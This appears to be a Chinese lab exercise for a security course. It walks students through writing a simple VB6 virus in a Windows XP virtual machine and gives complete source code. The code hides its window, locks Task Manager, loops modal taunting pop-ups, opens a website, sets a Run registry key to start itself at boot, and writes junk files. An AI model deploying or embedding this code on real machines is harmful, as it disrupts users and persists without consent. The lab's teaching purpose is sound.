实验目的
探讨VBS病毒实现原理,为更好的深入防御和查杀病毒
实验原理
VBS病毒发生机理
实验内容
编写简单VBS病毒,并实现功能,学习VBS病毒发生机理
实验环境描述
VPC1(虚拟PC) 操作系统类型:windows xp,网络接口:eth0
VPC1连接要求 与实验网络相连
软件描述 VB6.0
实验步骤
1.学生单击实验进入目标主机,输入用户名和密码:xp 123456(第一次启动目标主机,还需要安装java空间),如图所示:
点击桌面上Visual Basic 6.0精简版——Visual Basic 6.0精简版,打开VB 6.0,如教材图2所示
进入VB6.0可看到如教材所示“新建工程”窗口
1 使用VB6.0 创建一个新的工程,在FORM1 的属性中,找到Visible,修改它的属性为False
这样运行程序时就看不到窗口了
2 在FORM1 的代码窗口中添加代码如下:
Private Sub Form_Load()
Dim say(9) As String
'定义了一个数组,可以保存10 个字符串数据,病毒作者往往使用数组存储调侃语句,捉弄
用户
Dim over As Boolean, i As Integer
over = False
say(0) = "真的好爱你哦!这不,为了摘朵玫瑰花@>+++---给你,竟让看花的老头追了9 条
街!"
'这里就是病毒作者的调侃语句
say(1) = "你以为你是谁?还不是中了病毒没招~~"
say(2) = "除非你承认错误,否则本病毒就是不给你关闭~"
'这里还可以设置很多语句
say(9) = "谁让你不好好学习计算机安全知识,中了病毒傻眼了吧~"
Open Environ("windir") + "\system32\taskmgr.exe" for Input Lock Read As #1
'使用open 语句打开任务管理器时,用户无法调用任务管理器关闭病毒进程
'其中的lock read 实现了锁定读操作
Do while over = False
'---------------------------------1:弹出模态窗口
MsgBox say(i), vbCritical, "病毒警告!"
'显示一个模态窗口,导致无法用户操作其他窗口
i = i + 1
'---------------------------------2:循环打开病毒网站
Shell "explorer.exe http://g.cn", vbNormalFocus
'---------------------------------3:写入注册表实现自启动
Set my = CreateObject("WScript.Shell") '创建一个WScript 对象
my.regWrite
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\test",
App.Path + "\" + App.EXEName + ".exe", "REG_SZ"
'---------------------------------4:写入垃圾信息
Dim x As Integer
Randomize
x = Rnd(1000)
On Error Resume Next
Open "c:\virus_" + CStr(x) + ".txt" for Output As #1 '打开磁盘文件
Print #1, say(i) '写入垃圾信息
Close
'---------------------------------OVER
if i = 10 Then over = True ' 这里只循环了10 次,黑客可能会循环无限次
Loop
Close
End Sub
3 生产程序后,执行病毒,会发现该病毒实现了弹出一些警告对话框及一些站点,同时会写入注册表实现病毒耳朵自启动,最后还会向磁盘写入一些垃圾信息。
jpg)
我们还会发现,病毒实现了自启动,运行,输入Regedit 打开注册表
我们在下图中的位置会发现,病毒在 Run 中填写了test,其键值指向我们病毒的程序
还会生成一些垃圾文件